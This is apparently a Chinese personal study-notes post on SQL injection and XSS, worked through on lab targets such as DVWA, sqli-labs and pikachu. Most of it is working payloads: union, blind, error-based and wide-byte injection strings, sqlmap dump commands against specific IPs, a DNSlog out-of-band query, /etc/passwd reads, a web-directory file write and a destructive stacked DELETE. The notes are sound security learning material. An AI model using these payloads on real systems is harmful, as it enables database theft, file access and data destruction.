基础总结、
2021-04-20 00:00:00

一:sql注入

什么是sql注入???

就是指web应用程序在对用户输入的合法性没有进行严格判断或过滤不严格,导致攻击者可以额外添加sql语句,以此欺骗服务器达到执行非授权的任意查询的动作

Ⅰ:数据库基础

sql中的注释

1
2
3
create database  123        --创建数据库123'     --是一个单行注释
/**/ /*这是创建数据库,这个是一个多行注释*/
# 注释后边的

sql中链接字符串的函数

concat(),concat_ws()与及group_concat()的用法

concat(str1,str2,…)——没有分隔符地连接字符串

concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串

group_concat(str1,str2,…)——连接一个组的所有字符串,知道这三个函数能一次性查出所有信息就行了。

①注入简介

  • 回显正常—> 联合查询 union select
  • 回显报错—> Duplicate entry()
    extractvalue()
       updatexml()
  • 盲注 —>布尔型盲注
    基于时间的盲注sleep()

sql注入原理

恶意的查询语句执行,是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,来得到数据库内的信息

根据sql数据分类

1、整形注入
2、字符型注入

根据sql注入语法分类

btuse,可以根据这五个字母进行划分

1、布尔注入(Boolean-based blind SQL injection)

不会返回结果,只能得到是或者否

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#常用函数
length(str) #返回str字符串的长度。
substr(str, pos, len) #将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) #跟上面的一样,截取字符串
ascii(str) #返回字符串str的最左面字符的ASCII代码值。
ord(str) #同上,返回ascii码
if(a,b,c) #a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
limit #返回a+1到a+b行的数据

#常用语句
1.首先我们需要判断数据库长度
' or Length(database()) = 8 #返回true说明数据库长度为8
2.获取数据库名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次获取
3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#
5.获取表的内容
' or mid((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' #
6.获取表的字段的总数
' or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true说明有8个表
依次类推,最后推出内容。因为是盲猜所以只能这样一个一个去推手工比较麻烦 通常使用sqlmap进行注入

2、时间注入(Time-based blind SQL injection)

可以根据返回时间长短

1
2
3
4
5
6
7
8
9
10
11
12
在MYSQL中有一个函数:sleep(duration),这个函数的意识是在duration参数给定的秒数之后运行语句,如下SQL语句:

select * from users where id=1 and sleep(3); /* 3秒之后执行SQL语句*/

#常用参数
sleep()/延迟函数
if(condition,true,false)/若条件为真 返回true,若条件为假 返回false
substring("string",strart,length)


常用语句

3、联合注入(Union query SQL injection)

过程:

4、多语句查询注入(Stacted queries SQL injection)

过程:

5、报错注入(Error-based SQL injection)

过程:

其他种类注入方式

盲注
基于时间的盲注

发现注入点

1、使用漏洞扫描工具

OWASP ZAP、D盾、seay

万能密码

1
2
3
4
1' or 1=1 # 用户名和密码都可  
' or '1'='1' --

1' or '1'='1 密码才可

2、使用谷歌hacking寻找

hack语法:

Ⅱ:尝试sql注入

1、手工注入思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.显示字段信息

img

2、复现

基于DVWA

1、首先 判断是否存在注入,存在的注入点是字符型和数字型

字符型和数字型最大区别: 数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的
即:
数字型:select * from table where id =$id
字符型:select * from table where id =‘$id’

判断是否为数字型

1
2
3
4
5
1 and 1 = 1     #永真

1 and 1 = 2 #永假

若不报错,则为数字型

判断是否为字符型

1
2
3
4
1' and ' 1' =' 1 
1' and ' 1' =' 2
1' or ' 1' =' 2
若页面正常,则为字符型

low源码

1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

当我们输入 1 时,此sql语句即是

1
SELECT first_name, last_name FROM users WHERE user_id = '1'

我们进行判断是那种注入方式

当测试到1 'and '1' = '1 时 报错,所以low级别为字符型注入

2.猜解 SQL 查询语句中的字段数

1
2
3
1' or 1=1 order by 1 #    --查询成功  【order by x 对第几列进行排序】1'  order by 1 #  id=1‘  #’ 注释
1' or 1=1 order by 2 # --查询成功
1' or 1=1 order by 3 # --查询失败

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

(这里也可以通过输入union select 1,2,3…来猜解字段数)

3、确定显示字段的顺序

1
1' union select 1,2 #

UNION 操作符合并两个或多个 SELECT 语句的结果。

select:select语句用于从数据库中选取数据:例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果。SELECT 1,2,3…的含义及其在SQL注入中的用法

4、获取当前数据库

1
2
3
1' union select 1,database()#
#这样我们就会得到我们当前数据库:当然这个数字没啥含义
1' union select database(),2# --当我们这样输入得到的结果是一样的

5、获取数据库中的表

1
2
3
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #      --这是一整个

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' # --两种方式都可以,下边符合我们房前环境,上边比较通用

此处用group_concat:可用concat函数替代,只是不集中在一起而已

group_concat:可以把同一分组中的值链接在一起,

此用了information_schema.tables当中存储了数据表的 元数据信息介绍:

字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本,默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length 数据长度
Max_data_length 最大数据长度
Index_length 索引长度
Data_free 空间碎片
Auto_increment 做自增主键的自动增量当前值
Create_time 表的创建时间
Update_time 表的更新时间
Check_time 表的检查时间
Table_collation 表的字符校验编码集
Checksum 校验和
Create_options 创建选项
Table_comment 表的注释、备注

6、获取当前表中字段名

1
2
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select 1,column_name from information_schema.columns where table_name='users' #

7、下载数据(获取字段信息)

1
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Ⅲ:使用sqlmap注入(待测试)

sqlmap可以代替我们进行快速自动注入,sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测

1、sqlmap使用教程

其他sql注入

1、sql盲注

​ 盲注只会提示“是”或“不是”

手工盲注步骤

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

手工盲注常用参数
函数 描述
left(字符串,截取长度) 从左边截取指定长度的字符串
length(字符串) 获取字符串的长度
limit 强制select语句返回的参数
ascii(字符串) 将指定字符串进行ascii编码
substr(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
mid(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
count() 计算总数,返回匹配条件的行数。
sleep(n) 将程序挂起n秒
if(参数1,参数2,参数3) 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3
布尔盲注

靶机:靶机:sqli-labs第5关

页面没有显示,只能通过页面返回正常与不正常进行判断

手工注入实现:

1查看页面变化,判断sql注入类型

1
2
3
?id=1 and 1=1
?id=1 and 1=2
【字符型】

2、猜数据库长度

使用length()判断数据库长度,采用二分法

1
2
3
4
?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】

3、猜当前裤名

方法1:采用substr函数

1
2
?id=1' and substr(database(),1,1)>'r'--+ ?id=1' and substr(database(),1,1)<'t'--+ ?id=1' and substr(database(),1,1)='s'--+ ?id=1' and substr(database(),2,1)='e'--+ ... ?id=1' and substr(database(),8,1)='y'--+ 
--【security】

方法2:使用ascii函数和substr函数

1
2
?id=1' and ascii(substr(database(),1,1))>114 --+ ?id=1' and ascii(substr(database(),1,1))<116 --+ ?id=1' and ascii(substr(database(),1,1))=115 --+ 
--【security】

方法3:使用left函数

1
2
3
?id=1' and left(database(),1)>'r'--+ ?id=1' and left(database(),1)<'t'--+ ?id=1' and left(database(),1)='s' --+ ?id=1' and left(database(),2)='se' --+ ?id=1' and left(database(),3)='sec' --+ ... ?id=1' and left(database(),8)='security' --+ 
--【security】

方法四:使用burp

4

4.判断表个数

count()函数是用来统计表中记录的一个函数,返回匹配条件的行数。

1
2
3
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+ 
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
--【4个表】

5、判断表的长度

limit可以被用于强制select语句返回指定的条数。

length:获取数据串的长度

1
2
3
4
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 
--【第一个表长度为6】
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
--【第二个表长度为8】

6、猜表名

用substr函数:截取字符串,可以指定起始位置和长度

1
2
3
4
5
6
7
8
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+ 
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+

--【第一个表名为emails】
--可以用burp进行跑,类似上方

7、猜解字段名和字段信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#确定字段个数 
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段个数为3

#确定字段名的长度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
--【第一个字段长度为2,第二个字段长度为8】

#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+
--【...id,username,password...】

#确定字段数据长度
?id=1' and length((select username from users limit 0,1))=4 --+
--【第一个字段数据长度为4】 #猜解字段数据 同上使用burp

?id=1' and substr((select username from users limit 0,1),1,1)='d' --+ ?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+
--【第一个username数据为dumb】

sqlmap实现布尔注入

用到参数

1
2
3
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,B:Boolean-based-blind (布尔型盲注)
--threads 10 :设置线程为10,运行速度会更快
1
2
3
4
5
6
7
8
9
10
11
#查询数据库 #【security】 
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10

#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10

#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10

#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
时间盲注
  • 页面上没有显示位
  • 没有输出报错语句
  • 正确的sql语句和错误的sql语句页面返回一致
手工实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
?id=1 
?id=1'
?id=1"
#不管怎么样都不报错,不管对错一直显示一个固定的页面;

#判断注入点
?id=1' and sleep(3)--+
#页面响应延迟,判断存在时间延迟型注入

#获取数据库名长度
?id=1' and if(length(database())=8,sleep(3),1)--+

#获取数据库名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

sqlmap实现

1
2
3
4
5
6
7
8
9
10
11
#查询数据库 #【security】 
sqlmap -u http://192.168.200.120/sql/Less-9/?id=1 --technique T --dbs --batch --threads 10

#获取数据库中的表 #【emails、referers、uagents、users】
sqlmap -u http://192.168.200.120/sql/Less-9/?id=1 --technique T -D security --tables --batch --threads 10

#获取表中的字段名 #【id、username、password】
sqlmap -u http://192.168.200.120/sql/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10

#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
sqlmap -u http://192.168.200.120/sql/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10

2、DNSlog注入(有待学习)

https://www.cnblogs.com/Xy--1/p/12896599.html

基础知识

什么是DNS

DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。

什么是DNSlog

DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。

为什么用Dnslog盲注

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。

原理

攻击语句:

1
select load_file(concat('\\\\',攻击语句,'.XXX.ceye.io\\abc'))

3、宽字节注入

原理:宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字【前一个ascii码要大于128,才到汉字的范围】

简单的URL编码

空格 %20
‘(单引号) %27
# %23
\(反斜杠) %5C
%df

当输入单引号,假设这里我们使用addslashes转义,对应的url编码是:
' –>\'–> %5c%27
当在前面引入一个ASCII大于128的字符【比如%df、%aa】,url编码变为:
%df' –> %df\' –> (%df%5C)%27–>(数据库GBK)–>運'

前端输入**%df'时首先经过上面addslashes函数和浏览器url编码转义变成了%df%5c%27** ,单引号 ‘ = %27成功逃脱,利用这个特性从而可实施SQL注入的利用。

手工测试:

测试环境:sql-less-33

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
1、测试
?id=1
'''
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
'''
?id=1'
'''Hint: The Query String you input is escaped as : 1 \'
The Query String you input in Hex becomes : 31205c27
'''
--当输入 ' 被编成了\ 所以推测应该是函数转义:addslashes函数

?id=1%df'
'''
或者【只要ASCII大于128的字符就可以】
?id=1%aa'
此时会报错
'''

2、确定字段
?id=1%df' order by 4 --+
'''
输入3 正常,but4不正常了,所以判断字段数为3
'''

3、确定显示位
?id=-1%aa' union select 1,2,3--+
'''
Welcome Dhakkan
Your Login name:2
Your Password:3
'''
--确定了回显位置是 2 3

4、查询信息
#查询数据库
?id=-1%aa' union select 1,2,database() --+
'''
Welcome Dhakkan
Your Login name:2
Your Password:security
'''
--得到数据库是security

#查询表名
?id=-1%aa' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
'''
Welcome Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
'''

#查询字段名
?id=-1%aa' union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
'''
Welcome Dhakkan
Your Login name:2
Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password,level,id,username,password
'''
--这里表名table_name的值必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。

#查询字段信息
---待更新
?id=-1%aa' union select 1,group_concat(username),group_concat(password) from users --+
'''
Welcome Dhakkan
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
'''

待更新

使用sqlmap:

4、报错注入(需要补充)

floor报错注入/双查询注入

双查询报错/floor报错注入是由于rand()count()group byfloor四个语句联合使用造成的,缺一不可。

一些研究人员发现,使用group by子句结合rand()函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,这种错误是随机产生的,这就产生了双重查询/floor报错注入。使用floor()函数只是为了将查询结果分类

需用到四个函数和一个group by语句:

  1. group by ... —>分组语句 //将查询的结果分类汇总
  2. rand() —>在0-1之间随机数生成函数
  3. floor() —>取整函数 //用来对生成的随机数取整
  4. concat()concat_ws()—>连接字符串
  5. count() —>统计函数 //结合group by语句统计分组后的数据

子查询:内部查询、简单理解,select中嵌套一个select查询

1
select concat("-",(select database()));

floor报错注入:

1
?id=-1' union select 1,count(*), concat((select database()), floor(rand(1)*2))as a from information_schema.tables group by a --+

因为rand的随机性:所以我们每次不一定都可以看到正常页面,当我们加上1之后,就i可以了

双查询注入

当group by 在查询虚拟表和插入虚拟表时,如果这两次a语句执行的结果不一致就会引发错误,错误提示信息是插入的主键重复,通过自定义提示里报错信息中的主键值来获得敏感信息。

payloads

1
2
3
4
5
6
7
8
9
10
#获取数据库名 
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+
或者
?id=1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+

#获取表名
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+
或者
?id=1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+

updatexml报错注入
1
updatexml(xml_target, XPath_string, new_value):返回替换的XML片段
参数 描述
XML_document String格式,需要操作的xml片段
XPath_string 需要更新的xml路径(Xpath格式)
new_value String格式,更新后的内容

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
extractvalue报错注入

extractvalue(xml_frag, xpath_expr):使用XPath表示法从XML字符串中提取值

参数 描述
xml_frag 目标xml文档
xpath_expr Xpath格式的字符串,xml路径

payload

1
extractvalue(1,concat(0x7e,(select database()),0x7e));

如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

5、二次注入

有待学习–=

6、堆叠注入

原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

局限性:API以及数据库引擎不支持,抑或是权限不足导致无法调用;即使能使用通常软件代码只会返回一个查询结果

1
2
3
4
5
#例子

用户输入:`1; DELETE FROM products`
服务器端生成的sql语句为:`select * from products where productid=1;DELETE FROM products`
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

参考:

https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-0-0-0

https://www.sqlinjection.net/stacked-queries/

7、http head注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等。
会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。

cookie注入

原理:php中,使用超全局变量 $_GET$_POST来接受参数。 asp中,使用 Request.QueryString (GET)Request.Form (POST)来接收页面提交的参数值。 有些程序员直接这么写:$id = $_REQUEST['id'];这时候PHP不知道,应该从GET还是POST方式上接收参数 ,它就会一个一个去试,它是先取GET中的数据,再取POST中的数据,还会去取Cookies中的数据,如果没有做好防护措施就容易导致存在cookie注入

Cookie 注入特征:通过修改cookie的数值

方法:

方法一:burp抓包修改

方法二:使用sqlmap进行注入

XFF注入
UA注入

8、读写文件

load_file(file_name):读取文件并返回该文件内容作为一个字符串。

使用条件

  • 必须有权限读取并且文件必须完全可读,

  • 必须指定文件完整路径

  • 能够使用union查询(sql注入时)

  • 对Web目录有写权限用户必须有secure_file_priv=文件权限

  • 欲读取文件必须小于max_allowed_packetde的允许值

secure_file_priv的值

设置 含义
secure_file_prive=null 限制mysql不允许导入/导出
secure_file_priv=/tmp/ 限制mysql的导入/导出只能发生在/tmp/目录下
secure_file_priv=空 不限制mysql的导入/导出

实例:

sqli-labs第七关

1
2
3
4
5
6
7
8
9
10
11
#查看页面变化,判断sql注入类别 
?id=1 and 1=1
?id=1 and 1=2
#You are in.... Use outfile......
#确定字段数
?id=1' order by 3 --+ ?id=1')) order by 4 --+
#联合查询查看显示位
?id=-1 union select 1,2,3
?id=-1')) union select 1,load_file('/etc/passwd'),3 --+
?id=-1')) union select 1,(''),3 into outfile "/var/www/html/a.php"--+

sqlmap

1
sqlmap -u "http://xxx/x?id=1" --file-read=/etc/passwd

靶场记录

DVWA:https://jwt1399.top/posts/27769.html#toc-heading-16

Ⅳ:加固sql

1、对代码语句里面的变量进行过滤

2、使用参数化(Parameterized Query 或 Parameterized Statement)?具体不是很了解,存疑

附件

sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

关于POST注入
常用的万能username语句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

post型盲注通杀payload:
uname=admin%df'or()or%200%23&passwd=&submit=Submit

关于UPDATEXML,REFERER,COOKIE的构造
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


链接:https://www.jianshu.com/p/bc35f8dd4f7c

二:xss注入

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。

危害

  1. 通过document.cookie盗取cookie
  2. 使用js或css破坏页面正常的结构与样式
  3. 流量劫持(通过访问某段具有window.location.href定位到其他页面)
  4. Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
  5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  6. 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

https://www.cnblogs.com/wuqun/p/12484816.html

攻击原理

1
2
3
4
5
6
7
8
9
10
11
12
13
假如页面有如下一个输入框

  <input type="text" name="record" value="沙发">

  【沙发】是来自用户的输入,如果用户输入的是"onfocus="alert(document.cookie)

  那么就会变成

  <input type="text" name="address1" value="" onfocus="alert(document.cookie)">

   事件被触发的时候嵌入的JavaScript代码将会被执行

   攻击的威力,取决于用户输入了什么样的脚本。

主要分为三大类

原因:是一种发生在前端浏览器端的漏洞,主要原因:程序的输入输出没有做合适的处理

1、反射型xss

​ 最常见也是使用范围最广泛的一个,可以将恶意脚本附加到URl地址的参数中

2、存储型xss

​ 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中

3、dome型xss

全称Document Object Model,使用DOM可以使程序和脚本能够动态访问更新文档的内容,结构及样式。
DOM型XSS是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。
gongji方式:用户请求一个经过专门设计的链接,由gongji者提交且包含恶意XSS代码,服务器的响应不会以任何形式包含gongji者的脚本,当受害者的浏览器处理这个响应时,DOM对象就会处理XSS恶意代码。

手动测试

靶场:pikachu

1、反射型

get/post

一般来说我们使用来报xss弹窗

但是我们在测试时发现pikachu,限制了我们输入的长度

我们只需要F12,定位修改一下长度即可

xss

2、存储型

会一直存在与代码当中,一直访问一直有

我们只需要在留言板中输入payload即可

1
<script>alert(/xss/)</script>

3、dom形XSS

DOM 型 XSS 形成原因是通过修改页面的 DOM 节点形成的 XSS。
DOM 型 XSS 攻击中,取出和执行恶意代码都由浏览器端完成,属于前端自身的安全漏洞。

攻击步骤:
1、攻击者构造出特殊的 URL,其中包含恶意代码。
2、用户被诱导打开带有恶意代码的 URL。
3、用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

